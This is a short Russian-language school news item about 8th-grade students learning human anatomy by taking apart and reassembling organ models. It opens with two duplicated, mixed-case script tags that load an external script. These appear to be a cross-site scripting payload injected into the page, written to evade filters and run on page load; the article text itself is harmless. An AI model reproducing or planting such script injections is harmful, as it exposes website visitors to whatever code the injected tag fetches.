<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

26 марта группа учащиеся 8 класса  на практике осуществили свои теоретические знания.  На муляжах ребята

воочию увидели ткани, нервные волокна, кровеносные сосуды и их расположения в почках, легких, сердце. По макету человека ученики смогли составить полную картину организма человека: как и в каком порядке расположены внутренние органы разных систем. Изучая строение дыхательной системы, параллельно видны органы кровеносной и пищеварительной систем. На макете более реальная картина воссоздается : пищевод под трахеей, а сердце под легкими. Ученики по очереди по несколько раз разбирали и собирали макет, до тех пор пока без единой ошибки смогли назвать каждый орган и к какой системе он относится.